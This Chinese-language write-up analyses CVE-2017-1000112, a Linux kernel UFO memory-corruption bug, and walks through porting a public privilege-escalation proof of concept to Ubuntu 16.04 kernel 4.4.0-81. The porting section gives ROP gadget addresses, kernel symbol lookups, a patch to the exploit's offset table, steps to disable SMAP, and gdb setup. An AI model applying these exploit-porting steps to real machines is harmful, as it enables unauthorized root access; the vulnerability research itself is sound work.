CVE-2017-1000112淺析-linux核心提權漏洞
前言
Andrey Konovalov最近披露了他通過syzcaller fuzzing在Linux網路子系統內部發現的本地提權漏洞。在oss–sec的郵件中Konovalov寫道:當構建一個帶有MSG_MORE的UFO包時,__ip_append_data()呼叫ip_ufo_append_data()。然而在兩個send()呼叫之間,append路徑可以從UFO切換到非UFO,這會導致記憶體破壞。 這個bug在Commit 85f1bd9中被修復。
網絡卡的offload技術允許協議棧傳輸大於乙太網最大傳輸單元(maximum transmission unit,MTU)的資料包,預設情況下MTU是1500位元組。當啟用offload時,核心將把多個數據包組裝成一個大資料包並將其傳遞給硬體,硬體處理IP分片並將其分割成MTU大小的包。這種技術經常在高速網路介面中使用來提高吞吐量,因為UFO可以傳送大的UDP資料包。Linux核心可以利用各種網絡卡的Segmentation Offload功能。
TCP Segmentation Offload - TSO
UDP Fragmentation Offload - UFO
IPIP, SIT, GRE, and UDP Tunnel Offloads
Generic Segmentation Offload - GSO
Generic Receive Offload - GRO
Partial Generic Segmentation Offload - GSO_PARTIAL
漏洞原理
要在核心中構建UFO資料包,我們可以採取以下兩種方法之一。
- 使用UDP_CORK
套接字選項,該選項告訴核心將此套接字上的所有資料累加到一個diagram中,在該選項被禁用之後再傳輸;
- 呼叫send/sendto/sendmsg時使用MSG_MORE
標誌,告訴核心將此套接字上的所有資料累加到單個diagram中,在未指定此標誌的呼叫中傳送。
該漏洞是用第二種方法觸發的。在核心中,udp_sendmsg
函式負責構造UDP資料包並將其傳送到下一層。以下程式碼顯示了使用者程式使用UDP_CORK
套接字選項或在呼叫send/sendto/sendmsg時使用MSG_MORE
ip_append_data
函式將多個數據包累積為單個大資料包。 函式
ip_append_data
是__ip_append_data
的封裝,它通過分配一個新的套接字緩衝區來儲存傳遞給它的資料或者在套接字被塞住時將資料附加到現有的資料來管理套接字緩衝區。這個函式執行的一個重要任務是處理UFO。套接字緩衝區在套接字的傳送佇列中進行管理。在塞住套接字的情況下,佇列中有一個可以新增附加資料的入口。資料位於傳送佇列中,直到udp_sendmsg
呼叫udp_push_pending_frames
,udp_push_pending_frames
udp_send_skb
。Linux核心將資料包儲存在結構sk_buff
(套接字緩衝區)中,所有網路層都使用它來儲存它們的頭部,有關使用者資料的資訊以及其它內部資訊。 在上圖中,
sk_buff
的head,data,tail和end指向儲存協議頭部和使用者資料的記憶體的邊界。head和end指向緩衝區空間的開始和結束。data和tail指向空間內的使用者資料的開始和結束。緊接在end後面,結構skb_shared_info
包含IP分片的重要資訊。如前面的POC中所示,當第一次呼叫send時包含MSG_MORE
標誌,__ip_append_data
通過呼叫ip_ufo_append_data
建立一個新的套接字緩衝區,如下面的程式碼所示。 當呼叫完成並且建立了新的套接字緩衝區時,使用者資料被複制到分片中,共享info結構被更新為分片資訊,如下圖所示。新建立的
sk_buff
被放入佇列中。 下一步POC通過設定選項
SO_NO_CHECK
來更新套接字以不計算UDP上的校驗和,這將覆蓋套接字結構的sk->sk_no_check_tx
成員。在__ip_append_data
裡面這個變數作為呼叫ip_ufo_append_data
之前的一個條件被檢查。在POC第二次呼叫send的過程中,在__ip_append_data
內部採用非UFO路徑,該路徑進入分片長度計算迴圈。在迴圈的第一次迭代期間,副本的值變為負值,這會觸發新的套接字緩衝區分配。另外分片計算超過MTU並觸發分片。這會導致通過使用skb_copy_and_csum_bits
函式將第一個send建立的sk_buff
複製到新分配的sk_buff
。這將從源緩衝區中複製指定數量的位元組到目標sk_buff
並計算校驗和。呼叫長度大於新建立的sk_buff
邊界限制的skb_copy_and_csum_bits
會覆蓋套接字緩衝區之外的資料,並破壞之前為sk_buff
的skb_shared_info
結構。 接下來是損壞的
skb_shared_info
結構。地址0xffff88003a4ca900處的記憶體是新建立的sk_buff
,end=1728,其中分片被觸發。 可以通過在一個大緩衝區末尾簡單地建立一個偽造的
skb_shared_info
結構並將回撥成員設定為shellcode來轉移到使用者模式的shellcode。第二個send會觸發套接字緩衝區的超出邊界條件,用使用者模式shellcode地址覆蓋skb_shared_info-> destructor_arg
,它在核心記憶體釋放sk_buff
之前被呼叫。
除錯過程
接下來我們通過除錯進一步學習如何對已有的POC進行改造。
主機:ubuntu17.10 amd64 desktop
虛擬機器:http://old-releases.ubuntu.com/releases/16.04.2/ubuntu-16.04.2-server-amd64.img
POC:https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
首先把虛擬機器安裝好之後4.4.0-81版本的核心。
sudo apt install linux-image-4.4.0-81-generic
因為原來的POC沒有適配這個版本的核心,所以現在對該版本的核心進行適配。
重啟裝置之後然後尋找下列核心函式的地址:commit_creds
、prepare_kernel_cred
、native_read_cr4_safe
和native_write_cr4
。
現在我們需要核心符號來找gadget。在http://ddebs.ubuntu.com/pool/main/l/linux/上下載linux-image-4.4.0-81-generic-dbgsym_4.4.0-81.104_amd64.ddeb
,安裝之後在/usr/lib/debug/boot/vmlinux-4.4.0-81-generic。接下來用ROPgadget找核心中的gadget。
ROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic
根據POC,我們需要的gadget如下。
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
sudo grep commit_creds /proc/kallsyms
0xffffffff810a2800 T commit_creds
uint64_t prepare_kernel_cred;
sudo grep prepare_kernel_cred /proc/kallsyms
0xffffffff810a2bf0 T prepare_kernel_cred
uint64_t xchg_eax_esp_ret;
grep ': xchg eax, esp ; ret' rg-4.4.0-81-generic
0xffffffff8100008a : xchg eax, esp ; ret
uint64_t pop_rdi_ret;
grep ': pop rdi ; ret' rg-4.4.0-81-generic
0xffffffff813eb4ad : pop rdi ; ret
uint64_t mov_dword_ptr_rdi_eax_ret;
grep ': mov dword ptr \[rdi\], eax ; ret' rg-4.4.0-81-generic
0xffffffff81112697 : mov dword ptr [rdi], eax ; ret
uint64_t mov_rax_cr4_ret;
sudo grep cr4 /proc/kallsyms
0xffffffff8101b9c0 t native_read_cr4_safe
uint64_t neg_rax_ret;
grep ': neg rax ; ret' rg-4.4.0-81-generic
0xffffffff8140341a : neg rax ; ret
uint64_t pop_rcx_ret;
grep ': pop rcx ; ret' rg-4.4.0-81-generic
0xffffffff8101de6c : pop rcx ; ret
uint64_t or_rax_rcx_ret;
grep ': or rax, rcx ; ret' rg-4.4.0-81-generic
0xffffffff8107a453 : or rax, rcx ; ret
uint64_t xchg_eax_edi_ret;
grep ': xchg eax, edi ; ret' rg-4.4.0-81-generic
0xffffffff81125787 : xchg eax, edi ; ret
uint64_t mov_cr4_rdi_ret;
sudo grep cr4 /proc/kallsyms
0xffffffff81064580 t native_write_cr4
uint64_t jmp_rcx;
grep ': jmp rcx' rg-4.4.0-81-generic
0xffffffff81049ed0 : jmp rcx
};
核心4.4.0-81並沒有啟用KASLR,所以先不考慮這個問題。使用我們新得到的地址來更新POC,以新增對Ubuntu 16.04的4.4.0核心(xenial)的支援。
4.4.0-81.patch
--- poc.c 2017-12-21 11:49:17.758164986 -0600
+++ updated.c 2017-12-20 16:21:06.187852954 -0600
@@ -117,6 +117,7 @@
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
+ { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
@@ -326,7 +327,8 @@
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
- strncmp("4.8.0", kernels[kernel].version, 5) == 0)
+ (strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
+ (strncmp("4.8.0", kernels[kernel].version, 5) == 0))
return get_kernel_addr_xenial(syslog, size);
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
接下來就可以在虛擬機器上測試POC了。因為原來的POC沒有考慮SMAP,所以我們需要把SMAP關了。sudo gedit /etc/default/grub在GRUB_CMDLINE_LINUX_DEFAULT
後面新增nosmap,儲存,sudo update-grub,重啟。
測試成功,下面開始除錯。先改一下虛擬機器的vmx檔案。
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
我們已經有了帶有核心符號的二進位制檔案,現在還需要原始碼。
wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.deb
dpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb
壓縮包在/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2,解壓,進入核心程式碼目錄/usr/src/linux-source-4.4.0/linux-source-4.4.0啟動gdb。
gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-generic
target remote localhost:8864
如前所述,skb_release_all
呼叫skb_release_data
,skb_release_data
中的shinfo->destructor_arg
被覆蓋從而執行shellcode。